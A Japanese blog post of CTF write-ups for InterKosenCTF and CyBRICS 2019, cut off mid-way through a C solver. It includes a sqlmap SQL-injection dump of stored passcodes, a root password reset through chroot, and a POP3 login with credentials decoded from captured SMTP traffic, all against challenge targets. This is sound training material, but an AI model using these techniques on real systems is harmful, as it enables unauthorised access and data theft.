InterKosenCTF Writeup

InterKosenCTF について

InterKosenCTFが開催されました。
2019年8月11日午前10時~2019年8月12日午後10時(36時間)

InterKosenCTF

今回たまたま紹介があったので参加しました。 タイトルにKosenと入っているので、高専生だけかと思いましたが、特にそういった制限はないようです。

競技がスタートしてからしばらくの間、ずっと504が返ってきており、フラグが投入できない感じになっていました。 午後から安定してきて、快適に使えるようになっていました。運営さんお疲れ様です。

今回は、2人のチームで参加しました。結果は、20/91位で3214点でした。 すべての問題を見れていませんが、他のCTFと違い、易しめの問題が多くあった印象でした。 SECCON Beginnersと同じぐらいの難易度だと思います。

f:id:tsalvia:20190813044001p:plain

InterKosenCTF Writeup(8問)

私が実際に解いた8つの問題だけを紹介します。

uploader(warmup, web)

問題

uploader:
TAGS: warmup, web
URL: http://web.kosenctf.com:11000/

解答例

http://web.kosenctf.com:11000/ にアクセスすると、ファイルのアップロードとダウンロードができるWebサービスが表示されました。

f:id:tsalvia:20190813021139p:plain

左上に「view source」とあり、ソースコードを見ることができるようです。 ソースコードを読んでみると、以下のようにGETパラメータをそのままSQL文に入れている箇所がありました。 SQLインジェクションができそうです。

f:id:tsalvia:20190811123053p:plain

テーブル名も見えているので、sqlmapでfilesテーブルをダンプさせました。

$ sqlmap -u "http://web.kosenctf.com:11000/?search=1" --dump -T files
# 省略
+----+------------------------------------------+-----------------------------------------------+
| id | name                                     | passcode                                      |
+----+------------------------------------------+-----------------------------------------------+
| 1  | secret_file                              | the_longer_the_stronger_than_more_complicated |
| 2  | pay.php                                  | t                                             |
| 3  | download20190804152602.png               | hogehoge                                      |
| 4  | up1337.txt                               | 41414141                                      |
| 5  | echo.php                                 | 1234                                          |
| 6  | hoge.txt                                 | hogehoge                                      |
| 7  | payload.txt                              | test                                          |
| 8  | unko.php                                 | 114514                                        |
| 9  | hogehoge.txt                             | 5534bjhdhiudh                                 |
| 10 | test.txt                                 | aaa                                           |
| 11 | fugefblwugjrwabgewagehwalufvwufvujbhrgrg | hogehoge                                      |
+----+------------------------------------------+-----------------------------------------------+
#省略

「secret_file」というファイルがあり、「passcode」も分かりました。 取得できた「passcode」でファイルをダウンロードすると、フラグが確認できました。

FLAG

KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}

basic crackme(easy, reversing)

問題

basic crackme:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/709fe7de50a7466099fd27a60ed457cd/basic_crackme.tar.gz

解答例

ファイルをダウンロードすると、64bitのELFバイナリが出てきました。

$ file crackme
crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped

とりあえず実行してみると、ヘルプが表示されました。 どうやらコマンドライン引数に正しいフラグを与えなければならないようです。

$ ./crackme
<usage> ./crackme: <flag>
$ ./crackme aaaaaaa
Try harder!

バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、コマンドライン引数に指定したフラグの文字数分だけ比較をして正しければ、 「Yes. This is the your flag :)」と表示されるようになっていました。

f:id:tsalvia:20190811122930p:plain

試しに、「KosenCTF{」と入力してみると、「Yes. This is the your flag :)」と表示されました。

$ ./crackme KosenCTF{
Yes. This is the your flag :)

ここまで分かれば、後は総当たりでフラグを求めることができます。

import subprocess
import sys
import string

def main():
    flag = "KosenCTF{"
    while True:
        for ch in string.printable:
            test_flag = flag + ch
            res = subprocess.run(["./crackme", test_flag], stdout=subprocess.PIPE)
            answer = res.stdout
            if "Yes. This is the your flag :)" in answer.decode("utf-8"):
                flag = test_flag
                if ch == '}':
                    print(flag)
                    sys.exit()
                break
    
if __name__ == "__main__":
    main()
$ python3 solve.py
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

FLAG

KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

Kurukuru Shuffle(easy, crypto)

問題

Kurukuru Shuffle:
TAGS: easy, crypto
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/dc802db1cbf94ae793680eeeb92b78b7/kurukuru_shuffle.tar.gz

解答例

ファイルをダウンロードすると、2つのファイル(shuffle.py、encrypted)が出てきました。

  • shuffle.py
    from secret import flag
    from random import randrange
    
    
    def is_prime(N):
        if N % 2 == 0:
            return False
        i = 3
        while i * i < N:
            if N % i == 0:
                return False
            i += 2
        return True
    
    
    L = len(flag)
    assert is_prime(L)
    
    encrypted = list(flag)
    k = randrange(1, L)
    while True:
        a = randrange(0, L)
        b = randrange(0, L)
    
        if a != b:
            break
    
    i = k
    for _ in range(L):
        s = (i + a) % L
        t = (i + b) % L
        encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
        i = (i + k) % L
    
    encrypted = "".join(encrypted)
    print(encrypted)
    
  • encrypted
    1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm

タイトル通り、フラグを3つのランダムな値(k、a、b (1 ≦ k ≦ 53、a ≠ b))を基にシャッフルするプログラムとなっていました。 shuffle.pyと同じアルゴリズムを使い、総当たりで「encrypted」の文字列をシャッフルさせるプログラムを作成しました。

import itertools
import re

def main():
    enc_flag = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"

    L = len(enc_flag)

    flag_candidate = set()
    for k, a, b in itertools.product(range(0, L), repeat=3):
        encrypted = list(enc_flag)
        if k == 0 or a == b:
            continue
        i = k
        for _ in range(L):
            s = (i + a) % L
            t = (i + b) % L
            encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
            i = (i + k) % L
       
        flag = "".join(encrypted)

        if re.match("^KosenCTF(.*)}$", flag):
            flag_candidate.add(flag)
        
    for flag in flag_candidate:
        print(flag)

if __name__ == "__main__":
    main()

実行してみると以下の通り、3パターンのフラグが出力されました。 一番上のフラグが正しいフラグとなっていました。

$ python3 .\solve.py
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}
KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}

FLAG

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

Hugtto!(easy, forensics)

問題

Hugtto!:
TAGS: easy, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/ec6974b719ea4ea99fe2b7460b121297/hugtto.tar.gz

解答例

ファイルをダウンロードすると、2つのファイル(steg.py、steg_emiru.png)が出てきました。

  • steg.py
    from PIL import Image
    from secret import flag
    from datetime import datetime
    import tarfile
    import sys
    
    import random
    
    random.seed(int(datetime.now().timestamp()))
    
    bin_flag = []
    for c in flag:
        for i in range(8):
            bin_flag.append((ord(c) >> i) & 1)
    
    img = Image.open("./emiru.png")
    new_img = Image.new("RGB", img.size)
    
    w, h = img.size
    
    i = 0
    for x in range(w):
        for y in range(h):
            r, g, b = img.getpixel((x, y))
            rnd = random.randint(0, 2)
            if rnd == 0:
                r = (r & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            elif rnd == 1:
                g = (g & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            elif rnd == 2:
                b = (b & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            i += 1
    
    new_img.save("./steg_emiru.png")
    with tarfile.open("stegano.tar.gz", "w:gz") as tar:
        tar.add("./steg_emiru.png")
        tar.add(sys.argv[0])
    
  • steg_emiru.png f:id:tsalvia:20190813025111p:plain

ザっと見た感じ、ステガノグラフィ系の問題のようです。 ソースコードを読んでみるとsteg.pyは、以下の手順フラグを画像に隠していることが分かりました。

  1. 現在の時刻を基に乱数のseed値を生成する。
  2. フラグの文字列をビットに変換する。
  3. 0~2の乱数を生成し、0なら赤、1なら緑、2なら青の最下位ビットにフラグのビットを挿入する。
  4. 3を画像のピクセル数分繰り返す。
  5. 画像をtar.gzで圧縮し、ファイルとして保存する。

上記と逆の手順を行うプログラムを作成しました。 初期seed値が正確に分からないので、「steg_emiru.png」のタイムスタンプから1秒ずつ遡りながら、 可読文字列が現れるまで、復号を繰り返すようにしました。

from PIL import Image
import string
import random
import os

def decrypt_steg(timestamp, filepath):
    random.seed(timestamp)

    bin_flag = []
    img = Image.open(filepath)
    w, h = img.size
    i = 0
    for x in range(w):
        for y in range(h):
            r, g, b = img.getpixel((x, y))
            rnd = random.randint(0, 2)
            if rnd == 0:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(r & 1)
            elif rnd == 1:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(g & 1)
            elif rnd == 2:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(b & 1)
            i += 1

    flag = ""
    for b in zip(*[iter(bin_flag)] * 8):
        c = 0
        for i in range(8):
            c = c | (b[i] << i)
        flag += chr(c)
    return flag

def main():
    filepath = "./steg_emiru.png"
    timestamp = int(os.stat(filepath).st_mtime)
    for i in range(10):
        flag = decrypt_steg(timestamp - i, filepath)
        if all(c in string.printable for c in flag):
            print(flag)
            break

if __name__ == "__main__":
    main()

上記のプログラムを実行すると、フラグを取得することができました。

$ python3 .\solve.py
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}K
# 省略

FLAG

KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}

lost world(easy, forensics)

問題

lost world:
TAGS: easy, forensics
FILE: https://mega.nz/#!xxMgQAyb!8NxVb2uLE-duIc5OardUdSNh_5j4QbbpxBggjZ0asvE
Message:
Can you restore my root user? I don't remember the password. Try running dmesg | grep KosenCTF after logging in.

解答例

大きめのファイルをダウンロードすると、vdi形式のファイル(lost_world.vdi)が出てきました。 問題にもある通り、パスワードを忘れてしまったPCにログインできれば、良いようです。 以下の手順でrootのパスワードを変更してログインすることにしました。

  1. VirtualBoxに「lost_world.vdi」とUbuntuのライブDVDを刺した状態にし、UbuntuのライブDVDを起動します。
  2. Ubuntuを試す」を選択する。
  3. Terminal(Ctrl-Alt-T)を起動する。
  4. rootユーザになる。
    $ sudo su
    
  5. マウントすべきディスクを探す。
    $ fdisk -l
    
  6. 対象のディスクをマウントする。
    $ mkdir /mnt/lost_world
    $ mount /dev/sda1 /mnt/lost_world
    
  7. chrootでルートディレクトリを変更する。
    $ chroot /mnt/lost_world
    
  8. rootのパスワードを任意の値に変更する。
    $ passwd root
    
  9. 終了して再起動する。lost_world.vdi側を起動させる。
  10. rootユーザでログインします。
  11. 「dmesg | grep KosenCTF」と入力するとフラグが取得できます。
    f:id:tsalvia:20190811185612p:plain

FLAG

KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}

magic function(easy, reversing)

問題

magic function:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/8e731bccdb9546bb94c03cee5bac62bf/magic_function.tar.gz

解答例

ファイルをダウンロードすると、64bitのELFバイナリが出てきました。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped

とりあえず実行してみると、「NG」とだけ表示されます。

$ ./chall
NG

バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、「basic crackme」と違い、今度はコマンドライン引数に完全なフラグを与える必要があるようです。 正しいフラグの場合、「OK」と表示されます。

f:id:tsalvia:20190812022107p:plain

今回は、angrを使って解きました。 フラグサイズ(0x18)と成功時に到達するアドレス(0x40086a)を指定しただけのスクリプトです。

import angr
import claripy

def main():
    p = angr.Project("./chall")
    flag = claripy.BVS("flag", 8 * 0x18)
    state = p.factory.entry_state(args=["./chall", flag])
    simgr = p.factory.simgr(state)
    simgr.explore(find=0x40086a)
    print(simgr.found[0].solver.eval(flag, cast_to=bytes))

if __name__ == "__main__":
    main()

上記スクリプトを実行すると、フラグが表示されました。

FLAG

KosenCTF{fl4ggy_p0lyn0m}

passcode(easy, reversing)

問題

passcode:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/6a5e27eb80a44468ad8bf77c2a94a16a/passcode.tar.gz

解答例

ファイルをダウンロードすると、32bitのPEファイルが出てきました。

$ file passcode.exe
passcode.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

とりあえず実行してみると、以下のようなキーパットが出てきました。 この9つのボタンを正しく入力すると、フラグが出てくるようです。

f:id:tsalvia:20190813034726p:plain

32bitの.NET assemblyなので、dnspy-x86で開いてみました。

// 省略
namespace passcode
{
    // Token: 0x02000002 RID: 2
    public class Form1 : Form
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public Form1()
        {
            this.InitializeComponent();
            this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
            select (int)(c - '0')).ToList<int>();
            this.debug();
            this.reset();
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020AC File Offset: 0x000002AC
        private void reset()
        {
            this.vars = new List<int>
            {
                1,
                2,
                3,
                4,
                5,
                6,
                7,
                8,
                9
            };
            this.indices = new List<int>();
            this.state = new List<int>();
        }

        // Token: 0x06000003 RID: 3 RVA: 0x0000211C File Offset: 0x0000031C
        private void shuffle()
        {
            int num = 0;
            foreach (int num2 in this.state)
            {
                num = num * 10 + num2;
            }
            Random random = new Random(num);
            for (int i = 0; i < 9; i++)
            {
                int index = random.Next(9);
                int value = this.vars[i];
                this.vars[i] = this.vars[index];
                this.vars[index] = value;
            }
        }

        // Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC
        private void push(int index)
        {
            this.indices.Add(index);
            this.state.Add(this.vars[index]);
            this.shuffle();
            if (this.state.SequenceEqual(this.correct_state))
            {
                string text = "";
                for (int i = 0; i < this.indices.Count / 3; i++)
                {
                    text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
                }
                MessageBox.Show(text, "Correct!");
            }
        }

        // Token: 0x06000005 RID: 5 RVA: 0x00002284 File Offset: 0x00000484
        private void Button1_Click(object sender, EventArgs e)
        {
            int index = int.Parse(((Button)sender).Name.Substring(6)) - 1;
            this.push(index);
        }
        // 省略

ソースコードを読んでみると、正しいstateになるようにキーを123回入力する必要があるようです。 しかも、キー入力のたびに、shuffle関数によって、入力値がランダムで並び替えられてしまいます。 幸いにもseed値は、現在のstateから算出しているため容易に予測することができます。

上記のことを踏まえ、dnspy-x86の機能を使い、以下のようにpush関数を書き換えました。 どれかのボタンが入力されると、フラグが出力されるように変更しています。

private void push(int index)
{
    for (int i = 0; i < 123; i++)
    {
        for (int j = 0; j < 9; j++)
        {
            if (this.vars[j] == this.correct_state[i])
            {
                this.indices.Add(j);
                this.state.Add(this.vars[j]);
            }
        }
        this.shuffle();
    }
    if (this.state.SequenceEqual(this.correct_state))
    {
        string text = "";
        for (int k = 0; k < this.indices.Count / 3; k++)
        {
            text += ((char)(this.indices[k * 3] * 64 + this.indices[k * 3 + 1] * 8 + this.indices[k * 3 + 2])).ToString();
        }
        MessageBox.Show(text, "Correct!");
        Console.WriteLine(text);
    }
}

実行すると、メッセージボックスにフラグが出力されます。

f:id:tsalvia:20190812060116p:plain

FLAG

KosenCTF{pr3tty_3asy_r3v3rsing_cha11enge}

saferm(medium, forensics)

問題

saferm:
TAGS: medium, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/627b4d6651844980ba3eb28b52be3f11/saferm.tar.gz

解答例

ファイルをダウンロードすると、ディスクイメージ(disk.img)が出てきました。

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,0,2), end-CHS (0x1,70,5), startsector 1, 20479 sectors

Autopsyでdisk.imgを開くと、2つの怪しいファイル(saferm、document.zip)が出てきました。

f:id:tsalvia:20190812185756p:plain

safermは、64bitのELFファイル、document.zipは壊れているようです。

$ file saferm
saferm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=56290bd1c9e89a65dad224953667d84270822d9a, not stripped
$ file document.zip
document.zip: data

safermは、ELFファイルなので、Ghidraで開いてみました。

f:id:tsalvia:20190812185908p:plain

デコンパイル結果を読んでみると、/dev/urandomから8バイト取得し、その値をキーにXORでデータを暗号化しているようでした。 おそらく、document.zipは、safermで暗号化されたようです。

document.zipは、おそらくzipファイルなので、zipヘッダを基にXORキーを求めました (XORキー = 「50 4B 03 04 14 00 00 00」^ 「7E 1C AE 2A EB C8 CA 49」)。

f:id:tsalvia:20190812185351p:plain

今回は、CyberChefでXORキーを求めました。

f:id:tsalvia:20190812185502p:plain

求めたXORキー(2E 57 ad 2E FF C8 CA 49)を基にdocument.zipを復号します。

f:id:tsalvia:20190812185609p:plain

復号したzipファイルを展開すると、document.pdfが入っていました。 このファイルを開くと、フラグを確認することができました。

f:id:tsalvia:20190812185644p:plain

FLAG

KosenCTF{p00r_shr3dd3r}

CyBRICS CTF 2019 Writeup

CyBRICS CTF 2019 について

CyBRICS CTF 2019 が開催されました。
2019年7月20日 午後7時~7月21日 午後7時(24時間)

cybrics.net

CyBRICS CTF 2019は、1位~3位に賞金の出る大会です。 なんと、1位は、10,000 USDももらえるそうです。 ただし、参加制限があり、残念ながら国籍フィルターで日本人は除外されてしまいます。

BRICS — that you're from Brazil, Russia, India, China or South Africa;

今回は、「バラバラで参加しよう」という話になり、一人で参加しました。 結果は、92/775位で266点でした。 幅広いジャンルでの問題が多かった印象です。 難易度も易しいものから高難易度の問題まで幅広く用意されていました。 一人では全然時間が足りなかったので、次回は複数人で参加したいです。

f:id:tsalvia:20190721203801p:plain

CyBRICS CTF 2019 Writeup(10問)

Mic Check (Cyber, Baby, 10 pts)

問題

Have you read the game rules? There's a flag there.

解答例

Welcome問題、ゲームルールのリンク先にあるフラグを投入するだけ。

f:id:tsalvia:20190721213218p:plain

FLAG

cybrics{W3lc0M3_t0_t3h_G4M#}

Warmup (Web, Baby, 10 pts)

問題

E_TOO_EASY
Just get the flag

解答例

問題のリンクをクリックすると、304で別のページにリダイレクトされてしまいます。 curlで直接リンク先を確認すると、末尾にBase64エンコードされたデータが確認できました。

$ curl http://45.32.148.106

<html>
        <script language="JavaScript">
                function func() {
                  document.location.href = 'final.html'
                }
                </script>
<body onload=func()>
<p>
But at this moment to take its place?<br/>
It’s getting cold,” said Zametov. “Only the other end, waiting for her brother, but she said that he had come to that, nervous irritability from hunger, she falls to beating them at once, and warmly pressed his head was clear that he was talking nonsense, Sonia,” he muttered bitterly.<br/>

省略

And what if I hear any rumours, I’ll take it back in time,” struck him like a chicken in the stinking, dusty town air.<br/>
Such was the hundredth part of Russia on a line you won’t be angry with me at once whispered almost aloud to the pavement.<br/>
She was a lie at first?”<br/>
Dounia remembered her pale lips was full of people in it when we spoke of you at least!<br/>
For if Sonia has not gone off on the untouched veal, which was in great haste.<br/>
She gave me with their long manes, thick legs, and slow even pace, drawing along a perfect right to kill him as strange and shocking sight.<br/>
Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=
</p></body></html>

Base64でデコードすると、フラグを取得することができました。

$ echo "Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=" | base64 -d
cybrics{4b646c7985fec6189dadf8822955b034}

FLAG

cybrics{4b646c7985fec6189dadf8822955b034}

Sender (Network, Baby, 10 pts)

問題

We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that.
intercepted_text.txt
Get us their secret documents

添付ファイル(intercepted_text.txt)

220 ugm.cybrics.net ESMTP Postfix (Ubuntu)
EHLO localhost
250-ugm.cybrics.net
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6
ZmF3a2Vz
334 UGFzc3dvcmQ6
Q29tYmluNHQxb25YWFk=
235 2.7.0 Authentication successful
MAIL FROM: <fawkes@ugm.cybrics.net>
250 2.1.0 Ok
RCPT TO: <area51@af.mil>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>
Subject: add - archive pw
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0

=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
.
250 2.0.0 Ok: queued as C4D593E8B6
QUIT
221 2.0.0 Bye

解答例

末尾の方に Quoted-printable でエンコードされたデータがあるので、とりあえずデコードしてみました。

=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A

デコードするとパスワードが手に入りました。 フラグは、アーカイブファイルの中にあるようです。

btw.

password for the archive with flag: crack0Weston88vertebra

cheers!

次に、問題文の先頭にあるドメインを足掛かりに調べます。 とりあえず、nmapで調査をしてみます。 sshpop3のポートが開いていることが分かりました。

PS> nmap ugm.cybrics.net
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-20 20:17 ???? (?W???)
Nmap scan report for ugm.cybrics.net (136.244.67.129)
Host is up (0.24s latency).
rDNS record for 136.244.67.129: 136.244.67.129.vultr.com
Not shown: 995 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
110/tcp open     pop3
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 13.71 seconds

問題文に書かれているものは、pop3のコマンド履歴だったようです。 また、問題文の「AUTH LOGIN」付近を見ると、ログインユーザとパスワードがBase64エンコードされていました。

$ echo "ZmF3a2Vz" | base64 -d
fawkes
$ echo "Q29tYmluNHQxb25YWFk=" | base64 -d
Combin4t1onXXY

ユーザ名、パスワードが分かったので、telnetで接続します。 接続できたら、「LIST」コマンドでメール一覧を確認し、「RETR <メール番号>」コマンドでメール内容を確認します。

$ telnet ugm.cybrics.net 110
USER fawkes
PASS Combin4t1onXXY
LIST
RETR 1

メールを確認すると、zipファイルが添付されているようです。 Base64エンコードされているので、デコードすると暗号付きzipファイルが出てきました。

Return-Path: <fawkes@ugm.cybrics.net>
X-Original-To: fawkes@ugm.cybrics.net
Delivered-To: fawkes@ugm.cybrics.net
Received: by sender (Postfix, from userid 1000)
        id B83843EBFF; Thu, 18 Jul 2019 16:41:23 +0000 (UTC)
Date: Thu, 18 Jul 2019 16:41:23 +0000
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>, fawkes <fawkes@ugm.cybrics.net>
Subject: interesting archive
Message-ID: <20190718164123.GA9631@ugm.cybrics.net>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf"
Content-Disposition: inline
User-Agent: Mutt/1.5.24 (2015-08-30)


--J2SCkAp4GZ/dPZZf
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

take a look. dont share. secret.

--J2SCkAp4GZ/dPZZf
Content-Type: application/zip
Content-Disposition: attachment; filename="secret_flag.zip"
Content-Transfer-Encoding: base64

UEsDBBQACQBjAMua8k6A+vIXUogBAA+iAQAPAAsAc2VjcmV0X2ZsYWcucGRmAZkHAAEAQUUD
CAC1GtwFWQRy7mwXUpknBhOJ3hpnDv1ei1Kf+knOhoW61yeyPdnML4vSrff+GUxQYCGKz6SB
txgPjLvcWjoZokQBxFczx5575Z8Wv6dcwrX2X5A4WUFP+vpXBeq7E/c1Q7T87mR2WJnrhqLs
253Zoz1KC2kq+Gs/KXZILyxSzFWW6h7YLlozE6ru/f8WGtlLZzw5CXMdTcaZFGBjJX9jsqqY
以下省略

冒頭で取得したパスワードを使って展開すると、PDFファイルが出てきました。 PDFファイルを開くと、フラグが書かれていました。

f:id:tsalvia:20190720205358p:plain

FLAG

cybrics{Y0uV3_G0T_m41L}

Honey, Help! (rebyC, Baby, 10 pts)

問題

Added at 10:50 UTC: there was a typo in the flag. Please re-submit.
HONEY HELP!!!
I was working in my Kali MATE, pressed something, AND EVERYTHING DISAPPEARED!

I even copied the text from terminal

f:id:tsalvia:20190721222037p:plain

リンク先のファイル(text from terminal)

root@myLOVELYcomputer:~/cybrics# ls -la
total 12
drwxr-xr-x  2 root root 4096 Jul 22  2019 .
drwxr-xr-x 21 root root 4096 Jul 22  2019 ..
-rw-r--r--  1 root root   44 Jul 22  2019 flag
root@myLOVELYcomputer:~/cybrics# echo $'\e(0'

⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ┌⎽ -┌▒
├⎺├▒┌ 12
␍⎼┬│⎼-│⎼-│  2 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22  2019 .
␍⎼┬│⎼-│⎼-│ 21 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22  2019 ..
-⎼┬-⎼--⎼--  1 ⎼⎺⎺├ ⎼⎺⎺├   44 J┤┌ 22  2019 °┌▒±
⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ␌▒├ °┌▒± 
␌≤␉⎼␋␌⎽π␤0┌≤_␌⎼4⎻_1⎽_├␤␋⎽_▒┌13┼␋$␤_0⎼_┬4├?£
⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# 

解答例

自分のPCで実際に echo $'\e(0' を実行して、気合で置換していきました。
もっとスマートな解き方が知りたい。

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
と入力すると、以下のようになります。

f:id:tsalvia:20190721223218p:plain

FLAG

cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}

Tone (Forensic, Baby, 10 pts)

問題

Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
youtu.be/11k0n7TOYeM

解答例

リンクを踏むと、限定公開のYoutubeの動画に飛ばされます。 よく耳を澄ますと、電話の入力音(DTMF)が聞こえてきます。

Youtubeの音声を録音し、Audacityで少しずつ再生しながら耳コピしました。 個人的には、再生速度を上げると違いが分かりやすかったです。

f:id:tsalvia:20190721224435p:plain

音声の比較対象として、こちらのサイトも参考にしました。

onlinetonegenerator.com

耳コピした結果が以下の通りとなります。

222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666  66  2 555 333 555 2 4

これらの番号は、携帯電話のキーパッドと対応しています。 割り当てると、以下の通りになります。

c y b r i c s s e c r e t t o n a l f l a g

フラグの形式に合わせて整形したものが、フラグとなります。

FLAG

cybrics{secret tonal flag}

Oldman Reverse (Reverse, Baby, 10 pts)

問題

I've found this file in my grandfather garage. Help me understand what it does
oldman.asm

添付ファイル(oldman.asm)

.MCALL  .TTYOUT,.EXIT
START:
    mov   #MSG r1 
    mov #0d r2
    mov #32d r3
loop:       
    mov   #MSG r1 
    add r2 r1
    movb    (r1) r0
    .TTYOUT
    sub #1d r3
    cmp #0 r3
    beq     DONE
    add #33d r2
    swab r2
    clrb r2
    swab r2    
    br      loop      
DONE: 
    .EXIT

MSG:
    .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"
.end START

解答例

見慣れない命令(swabやclrb)を調べていると、PDP-11と呼ばれる古いコンピュータのアセンブリだということが分かりました。

ja.wikipedia.org

アセンブリを読んでいくと、33文字毎にMSGをローテートして表示するプログラムのようです。 C言語に読み換えて実装してみました。このプログラムを実行すると、フラグが取得できます。

#include <stdio.h>
#include <string.h>

int main(void)
{
    char msg[] = "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}";

    int i;
    for (i = 0; i < 32; i++) {
        char tmp[100] = {};
        putchar(*msg);
        memcpy(tmp, msg, 33);
        memmove(msg, msg + 33, strlen(msg) - 33);
